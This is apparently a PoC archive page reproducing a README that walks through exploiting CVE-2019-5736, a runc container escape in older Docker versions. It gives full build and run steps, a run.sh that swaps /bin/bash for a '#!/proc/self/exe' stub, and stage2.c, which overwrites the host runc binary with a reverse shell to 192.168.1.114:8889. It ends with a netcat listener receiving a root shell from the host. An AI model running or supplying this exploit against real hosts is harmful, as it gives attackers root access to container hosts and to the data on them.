Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source
Associated Vulnerability
Title: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.
Readme
### CVE-2019-5736

参考:[cve-2019-5736-poc](https://github.com/agppp/cve-2019-5736-poc.git)  

   - (1). edit poc command in stage2.cve  
   - (2). build docker `docker build -t cve .`  
   - (3). run docker  `docker run -d cve /bin/bash -c "tail -f /dev/null"`  
   - (4). backup docker-runc  `cp /usr/bin/docker-runc /usr/bin/docker-runc.bak`  
   - (5). `docker exec -it docker-id /bin/bash`  
   - (6). edit run.sh libseccomp edition Exp:`cd /root/libseccomp-2.5.1`  
   - (7). in docker run `cd /root && ./run.sh && exit`  
   - (8). `docker exec -it docker-id /bin/bash`

### 修改部分
`run.sh`  
```shell
#!/bin/bash
# libseccomp版本及时关注容器创建后/root目录下下载的对应版本信息
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
```

### 实操
#### 环境
```
宿主机:Ubuntu18.04
Docker-ce:18.06.1~ce~3-0~ubuntu
docker-runc:1.0
```

#### 环境部署

```shell
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错,cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
```

#### 修改C文件

`stage2.c`  
```C
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv) {

    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}
```

#### 构建镜像

```bash
docker build -t cve-2019-5736 .
```

![image](/images/image-20220316153121353.png)  

#### 运行

```bash
docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"
```

![image](/images/image-20220316153150291.png)  

#### 备份宿主机`docker-runc`

因后期对系统内`docker-runc`文件进行覆盖操作  

```bash
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
```

#### 登录容器

```bash
docker exec -it 655378598a92 /bin/bash
```
#### 容器内执行

```bash
# 备注:及时修改run.sh文件中libseccomp版本信息再执行
cd /root 
./run.sh
exit
```
#### 重连容器

```bash
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell
```
![image](/images/image-20220316160716039.png)  
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →